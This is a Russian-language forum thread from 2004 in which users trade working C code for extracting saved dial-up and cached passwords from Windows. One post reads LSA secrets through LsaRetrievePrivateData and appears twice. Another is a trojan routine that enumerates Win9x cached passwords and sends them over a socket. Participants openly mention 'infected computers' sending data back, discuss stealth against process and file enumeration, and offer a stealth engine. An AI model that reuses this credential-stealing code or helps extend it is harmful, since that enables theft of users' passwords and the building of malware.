Легенда:
новое сообщение
закрытая нитка
новое сообщение
в закрытой нитке
старое сообщение
|
- Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
- Новичкам также крайне полезно ознакомиться с данным документом.
| | | |
[Win32] каму интересно, вот так это делается 29.09.04 15:54 Число просмотров: 1508
Автор: Tamas Статус: Member Отредактировано 29.09.04 16:00 Количество правок: 2
|
RetrieveLSASecrets возвращает данные из Protected Storage по ключу L$_RasDefaultCredentials#0 в этом клуче хранятся пароли сохранёные для всех пользователей, поля в Data разделены по 0x00
пароли для каждого пользователя в одельнасти хранятся по ключу
RasDialParams!S-1-5-21-1454471165-113007714-1708537768-1003#0
где S-1-5-21-1454471165-113007714-1708537768-1003 идентефикатор пользователля
и вот ещё вопрос к публике как получить лист таких ид по всем пользователям ???
PS примного блогодарен hello_world за ценный линк :-))
OS WinXP 5 1 2600
Lcc-Win32
#include <windows.h>
#include <ntsecapi.h>
#include <stdbool.h>
bool RetrieveLSASecrets(unsigned char *KeyName,unsigned char *Data,unsigned long *DataSize,unsigned long DataMaxSize);
int main()
{
unsigned char Data[255];
unsigned char DataSize;
RetrieveLSASecrets("L$_RasDefaultCredentials#0",&Data,&DataSize,sizeof(Data));
return 0;
}
bool RetrieveLSASecrets(unsigned char *KeyName,unsigned char *Data,unsigned long *DataSize,unsigned long DataMaxSize)
{
void *HAdvapi32;
typedef NTSTATUS NTAPI(*LPLSAOPENPOLICY)(PLSA_UNICODE_STRING,PLSA_OBJECT_ATTRIBUTES,ACCESS_MASK,PLSA_HANDLE);
typedef NTSTATUS NTAPILPLSARETRIEVEPRIVATEDATA)(LSA_HANDLE,PLSA_UNICODE_STRING,PLSA_UNICODE_STRING;
typedef NTSTATUS NTAPI(*LPLSACLOSE)(LSA_HANDLE);
typedef NTSTATUS NTAPI(*LPLSAFREEMEMORY)(PVOID);
LPLSAOPENPOLICY LsaOpenPolicyLF;
LPLSARETRIEVEPRIVATEDATA LsaRetrievePrivateDataLF;
LPLSACLOSE LsaCloseLF;
LPLSAFREEMEMORY LsaFreeMemoryLF;
LSA_OBJECT_ATTRIBUTES Attr;
LSA_HANDLE hPolicy;
LSA_UNICODE_STRING LsaKeyName;
PLSA_UNICODE_STRING pResult;
HAdvapi32=LoadLibrary("advapi32.dll");
if(HAdvapi32==NULL)return false;
LsaOpenPolicyLF=(LPLSAOPENPOLICY)GetProcAddress(HAdvapi32,"LsaOpenPolicy");
if(LsaOpenPolicyLF==NULL)return false;
LsaRetrievePrivateDataLF=(LPLSARETRIEVEPRIVATEDATA)GetProcAddress(HAdvapi32,"LsaRetrievePrivateData");
if(LsaRetrievePrivateDataLF==NULL)return false;
LsaCloseLF=(LPLSACLOSE)GetProcAddress(HAdvapi32,"LsaClose");
if(LsaCloseLF==NULL)return false;
LsaFreeMemoryLF=(LPLSAFREEMEMORY)GetProcAddress(HAdvapi32,"LsaFreeMemory");
if(LsaFreeMemoryLF==NULL)return false;
ZeroMemory(&Attr,sizeof(Attr));
ZeroMemory(&LsaKeyName,sizeof(LsaKeyName));
LsaKeyName.Buffer=LocalAlloc(LMEM_FIXED,strlen(KeyName)*sizeof(unsigned short));
MultiByteToWideChar(CP_ACP,0,KeyName,-1,LsaKeyName.Buffer,strlen(KeyName)*sizeof(unsigned short));
LsaKeyName.Length=lstrlenW(LsaKeyName.Buffer)*sizeof(unsigned short);
LsaKeyName.MaximumLength=(lstrlenW(LsaKeyName.Buffer)+1)*sizeof(unsigned short);
LsaOpenPolicyLF(NULL,&Attr,POLICY_ALL_ACCESS,&hPolicy);
if(hPolicy==NULL)return false;
LsaRetrievePrivateDataLF(hPolicy,&LsaKeyName,&pResult);
if(pResult==NULL)return false;
(*DataSize)=(pResult->Length/sizeof(unsigned short));
WideCharToMultiByte(CP_ACP,0,pResult->Buffer,(*DataSize),Data,DataMaxSize,NULL,NULL);
LsaCloseLF(hPolicy);
LsaFreeMemoryLF(pResult);
LocalFree(LsaKeyName.Buffer);
FreeLibrary(HAdvapi32);
return true;
}
|
<programming>
|
[C++] Dialup Passwords XP HELP !!! 27.09.04 13:59
Автор: Tamas Статус: Member
|
Нужен пример получения диалап паролей в XP ???
|
|
re 28.09.04 18:43
Автор: hello_world Статус: Незарегистрированный пользователь Отредактировано 28.09.04 18:46 Количество правок: 1
|
мышой сюда ткни
|
| |
5 баллов, это то что надо :-))) родина тебя не забудит... 28.09.04 22:12
Автор: Tamas Статус: Member
|
|
| | |
А у тебя заработало? Там вроде грязный хак, завязаный на поиск кода в процессе... На разных версиях может не работать. 29.09.04 09:29
Автор: HandleX <Александр М.> Статус: The Elderman
|
|
| | | |
[Win32] каму интересно, вот так это делается 29.09.04 15:54
Автор: Tamas Статус: Member Отредактировано 29.09.04 16:00 Количество правок: 2
|
RetrieveLSASecrets возвращает данные из Protected Storage по ключу L$_RasDefaultCredentials#0 в этом клуче хранятся пароли сохранёные для всех пользователей, поля в Data разделены по 0x00
пароли для каждого пользователя в одельнасти хранятся по ключу
RasDialParams!S-1-5-21-1454471165-113007714-1708537768-1003#0
где S-1-5-21-1454471165-113007714-1708537768-1003 идентефикатор пользователля
и вот ещё вопрос к публике как получить лист таких ид по всем пользователям ???
PS примного блогодарен hello_world за ценный линк :-))
OS WinXP 5 1 2600
Lcc-Win32
#include <windows.h>
#include <ntsecapi.h>
#include <stdbool.h>
bool RetrieveLSASecrets(unsigned char *KeyName,unsigned char *Data,unsigned long *DataSize,unsigned long DataMaxSize);
int main()
{
unsigned char Data[255];
unsigned char DataSize;
RetrieveLSASecrets("L$_RasDefaultCredentials#0",&Data,&DataSize,sizeof(Data));
return 0;
}
bool RetrieveLSASecrets(unsigned char *KeyName,unsigned char *Data,unsigned long *DataSize,unsigned long DataMaxSize)
{
void *HAdvapi32;
typedef NTSTATUS NTAPI(*LPLSAOPENPOLICY)(PLSA_UNICODE_STRING,PLSA_OBJECT_ATTRIBUTES,ACCESS_MASK,PLSA_HANDLE);
typedef NTSTATUS NTAPILPLSARETRIEVEPRIVATEDATA)(LSA_HANDLE,PLSA_UNICODE_STRING,PLSA_UNICODE_STRING;
typedef NTSTATUS NTAPI(*LPLSACLOSE)(LSA_HANDLE);
typedef NTSTATUS NTAPI(*LPLSAFREEMEMORY)(PVOID);
LPLSAOPENPOLICY LsaOpenPolicyLF;
LPLSARETRIEVEPRIVATEDATA LsaRetrievePrivateDataLF;
LPLSACLOSE LsaCloseLF;
LPLSAFREEMEMORY LsaFreeMemoryLF;
LSA_OBJECT_ATTRIBUTES Attr;
LSA_HANDLE hPolicy;
LSA_UNICODE_STRING LsaKeyName;
PLSA_UNICODE_STRING pResult;
HAdvapi32=LoadLibrary("advapi32.dll");
if(HAdvapi32==NULL)return false;
LsaOpenPolicyLF=(LPLSAOPENPOLICY)GetProcAddress(HAdvapi32,"LsaOpenPolicy");
if(LsaOpenPolicyLF==NULL)return false;
LsaRetrievePrivateDataLF=(LPLSARETRIEVEPRIVATEDATA)GetProcAddress(HAdvapi32,"LsaRetrievePrivateData");
if(LsaRetrievePrivateDataLF==NULL)return false;
LsaCloseLF=(LPLSACLOSE)GetProcAddress(HAdvapi32,"LsaClose");
if(LsaCloseLF==NULL)return false;
LsaFreeMemoryLF=(LPLSAFREEMEMORY)GetProcAddress(HAdvapi32,"LsaFreeMemory");
if(LsaFreeMemoryLF==NULL)return false;
ZeroMemory(&Attr,sizeof(Attr));
ZeroMemory(&LsaKeyName,sizeof(LsaKeyName));
LsaKeyName.Buffer=LocalAlloc(LMEM_FIXED,strlen(KeyName)*sizeof(unsigned short));
MultiByteToWideChar(CP_ACP,0,KeyName,-1,LsaKeyName.Buffer,strlen(KeyName)*sizeof(unsigned short));
LsaKeyName.Length=lstrlenW(LsaKeyName.Buffer)*sizeof(unsigned short);
LsaKeyName.MaximumLength=(lstrlenW(LsaKeyName.Buffer)+1)*sizeof(unsigned short);
LsaOpenPolicyLF(NULL,&Attr,POLICY_ALL_ACCESS,&hPolicy);
if(hPolicy==NULL)return false;
LsaRetrievePrivateDataLF(hPolicy,&LsaKeyName,&pResult);
if(pResult==NULL)return false;
(*DataSize)=(pResult->Length/sizeof(unsigned short));
WideCharToMultiByte(CP_ACP,0,pResult->Buffer,(*DataSize),Data,DataMaxSize,NULL,NULL);
LsaCloseLF(hPolicy);
LsaFreeMemoryLF(pResult);
LocalFree(LsaKeyName.Buffer);
FreeLibrary(HAdvapi32);
return true;
}
|
| | | | |
re 29.09.04 17:34
Автор: hello_world Статус: Незарегистрированный пользователь Отредактировано 29.09.04 17:39 Количество правок: 1
|
> пароли для каждого пользователя в одельнасти хранятся по > ключу > RasDialParams!S-1-5-21-1454471165-113007714-1708537768-1003 > #0 > где S-1-5-21-1454471165-113007714-1708537768-1003 > идентефикатор пользователля > > и вот ещё вопрос к публике как получить лист таких ид по > всем пользователям ???
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
ЗЫ Че-то форум глючит, тема постоянно заменяется на какую-то х#ню. Это только у меня?
|
| | | | |
Классно, давно эта тема витала в воздухе. Троянщики будут очень рады ;-) 29.09.04 17:09
Автор: HandleX <Александр М.> Статус: The Elderman
|
|
| | | |
да заработало, хотя надо ещё покавырятся 29.09.04 12:00
Автор: Tamas Статус: Member
|
да заработало, хотя надо ещё покавырятся
когда полнастю разберусь скину код
|
| | | | |
re 29.09.04 17:49
Автор: hello_world Статус: Незарегистрированный пользователь Отредактировано 29.09.04 17:55 Количество правок: 1
|
> да заработало, хотя надо ещё покавырятся > когда полнастю разберусь скину код
Ну раз уж ты взялся за это дело, то найди где еще в виндах (кроме RASENTRY) можно прописать телефон, а то у меня с половины зараженных компов телефоны не приходят.
Еще неплохо бы предусмотреть кражу паролей в Win9x и невидимость в Process32Next/FindNextFile/RegEnumValues (если надо, могу дать тебе свой стелс-движок).
Я бы сам взялся, но сейчас я пишу свою вещь, да еще эта @$#ная работа...
Вобщем если ты это сделаешь, многие будут благодарны :)
|
| | | | | |
нащёт телефонов начиная с NT 4 получить можно от суда... 29.09.04 18:34
Автор: Tamas Статус: Member
|
> > да заработало, хотя надо ещё покавырятся > > когда полнастю разберусь скину код > > Ну раз уж ты взялся за это дело, то найди где еще в виндах > (кроме RASENTRY) можно прописать телефон, а то у меня с > половины зараженных компов телефоны не приходят. > Еще неплохо бы предусмотреть кражу паролей в Win9x и > невидимость в Process32Next/FindNextFile/RegEnumValues > (если надо, могу дать тебе свой стелс-движок). > > Я бы сам взялся, но сейчас я пишу свою вещь, да еще эта > @$#ная работа... > Вобщем если ты это сделаешь, многие будут благодарны :)
нащёт телефонов начиная с NT 4 получить можно от суда RasGetEntryProperties
win9x от суда RasGetEntryDialParams
а вобше win 5.x С:\Documents and Settings\All Users\Application Data\Microsoft\Network\Connections\Pbk\rasphone.pbk
Process32Next это конечьно хорошо но не каких реальных идей уменя пока нет
нащёт win9x тут всё старо как мир вот кусок кода из моеё софтины
bool GetPwl(SOCKET Socket)
{
int index;
unsigned char buf[4096];
if(OsVerInfo.dwPlatformId==1)
{
if(GetCachePasswords())
{
strcpy(buf,"\r\nThe system passwords\r\n\r\n");
send(Socket,buf,strlen(buf),0);
for(index=0;index<cacheindex;++index)
{
wsprintf(buf,"Resource %s\r\nPassword \"%s\"\r\n",cacheres[index],cachepass[index]);
send(Socket,buf,strlen(buf),0);
}
}
else
{
return false;
}
}
else
{
wsprintf(buf,"\r\nSorry function is not support in system");
send(Socket,buf,strlen(buf),0);
}
return true;
}
bool CALLBACK PassEntry(LPPASSWORD_CACHE_ENTRY p,unsigned long temp)
{
memcpy(cacheres[cacheindex],p->abResource,p->cbResource);
memcpy(cachepass[cacheindex],p->abResource+p->cbResource,p->cbPassword);
cacheres[cacheindex][p->cbResource]=0;
cachepass[cacheindex][p->cbPassword]=0;
++cacheindex;
return true;
}
bool GetCachePasswords()
{
typedef unsigned long(WINAPI RegisterServiceProcess)(unsigned long,unsigned long);
typedef unsigned short(WINAPI WNetEnumCachedPasswords)(char *,unsigned short,unsigned char,void*,unsigned long);
typedef WNetEnumCachedPasswords *LPWNETENUMCACHEDPASSWORDS;
int index;
HINSTANCE hmpr;
LPWNETENUMCACHEDPASSWORDS lpecp;
if(hmpr=LoadLibrary("MPR.DLL"))
{
lpecp=(LPWNETENUMCACHEDPASSWORDS)GetProcAddress(hmpr,"WNetEnumCachedPasswords");
if(lpecp)
{
cacheindex=0;
lpecp(0,0,0xFF,PassEntry, 0);
}
else
{
return false;
}
FreeLibrary(hmpr);
return true;
}
return false;
}
|
| | | | | | |
До меня дошло. 29.09.04 19:03
Автор: hello_world Статус: Незарегистрированный пользователь
|
До меня дошло.
Телефон может быть здесь:
RASENTRY.szLocalPhoneNumber
и здесь:
RASDIALPARAMS.szPhoneNumber
в мсдн кстати так и написано:
szPhoneNumber
Specifies a string that contains an overriding phone number. An empty string ("") indicates that the phone-book entry's phone number should be used. If szEntryName is "", szPhoneNumber cannot be "".
Движок завтра вывешу.
|
|
Уточни, plz. Получение паролей откуда? Может тебя интересует генерирование паролей для последующей раздачи пользователям? 27.09.04 16:17
Автор: Den <Denis> Статус: The Elderman
|
|
| |
Скорее всего, ему нужно пароли "вытаскивать" ;-) 27.09.04 16:38
Автор: HandleX <Александр М.> Статус: The Elderman
|
Дык вот в XP с этим "проблема" — вернее, их можно вытащить, но... точно таким же макаром, как и пароли, запоминаемые XP при брожении по Интернету.
Пароли на DiulUp хранятся в ProtectedStorage, им рулятся, и так просто не выдёргиваются.
Я слышал, что это как-то можно. Но не так просто, как раньше, через функции RAS.
|
| | |
вобше всё ведёт суда 27.09.04 19:55
Автор: Tamas Статус: Member
|
> Дык вот в XP с этим "проблема" — вернее, их можно вытащить, > но... точно таким же макаром, как и пароли, запоминаемые XP > при брожении по Интернету. > > Пароли на DiulUp хранятся в ProtectedStorage, им рулятся, и > так просто не выдёргиваются. > > Я слышал, что это как-то можно. Но не так просто, как > раньше, через функции RAS.
вобше всё ведёт суда
c:\Documents and Settings\All Users\Application Data\Microsoft\Network\Connections\Pbk\rasphone.pbk
тут хранятся настройки всех соединений, но паролей там нет, но зато есть вот такая строчька
Guid=CCDD23FDC6EE25499A1B0132E22D6DDB
как это понимать это какой то указатель ?
|
| | | |
Копать отсюда и до обеда: 27.09.04 20:28
Автор: Killer{R} <Dmitry> Статус: Elderman Отредактировано 27.09.04 20:30 Количество правок: 1
|
http://search.microsoft.com/search/results.aspx?qu=pstore&View=msdn&st=b&c=0&s=1&swc=0
Я както из любопытсва хотел туда сунуться но минимум инфы на сайте мс про интерфейс IPStore и отсутствие хедеров с объявленными интерфейсами и структурами вкупе с природной ленью заставили забить на это дело.
Самое интересное что в дереве онлайнового мсдна описание интерфейса PStore теперь Unavailable - как это понимать хз.. Возможно решили спрятать от посторонних глаз от греха подальше Ж)
Кроме того из
http://forums.mozillazine.org/viewtopic.php?t=70783
Можно заключить то что гдето в дербях сырцов firefox есть нужные вещи.
Вроде имеются утилиты которые делают это. Можно попробовать их дизасмить.
ЗЫ Если чего откопаешь поделись, если не жалко будет. Родина тебя не забудет Ж)
|
| | | | |
дезасемблинуй вот это... 27.09.04 21:08
Автор: Tamas Статус: Member
|
> http://search.microsoft.com/search/results.aspx?qu=pstore&V > iew=msdn&st=b&c=0&s=1&swc=0 > > Я както из любопытсва хотел туда сунуться но минимум инфы > на сайте мс про интерфейс IPStore и отсутствие хедеров с > объявленными интерфейсами и структурами вкупе с природной > ленью заставили забить на это дело. > Самое интересное что в дереве онлайнового мсдна описание > интерфейса PStore теперь Unavailable - как это понимать > хз.. Возможно решили спрятать от посторонних глаз от греха > подальше Ж) > Кроме того из > http://forums.mozillazine.org/viewtopic.php?t=70783 > Можно заключить то что гдето в дербях сырцов firefox есть > нужные вещи. > Вроде имеются утилиты которые делают это. Можно попробовать > их дизасмить. > > ЗЫ Если чего откопаешь поделись, если не жалко будет. > Родина тебя не забудет Ж)
дезасемблинуй вот это http://www.nirsoft.net/utils/dialupass2.zip и родина тебя точьно не забудит
я бы и сам рад но я в этом не силён :-(
|
| | | | | |
Вообще-то есть волшебные слова... 27.09.04 21:10
Автор: Den <Denis> Статус: The Elderman
|
|
| | | | | | |
Пожалуйста :-) 27.09.04 21:55
Автор: Tamas Статус: Member
|
|
| | | | | | | |
Хм.. Похоже оно не юзает pstorec.dll... 28.09.04 11:24
Автор: Killer{R} <Dmitry> Статус: Elderman
|
|
| | | | | | | | |
нет оно его юзает просто оно грузит функции через... 29.09.04 16:14
Автор: Tamas Статус: Member
|
нет оно его юзает просто оно грузит функции через LoadLibrary GetProcAddress по этому их и не видно
|
|
|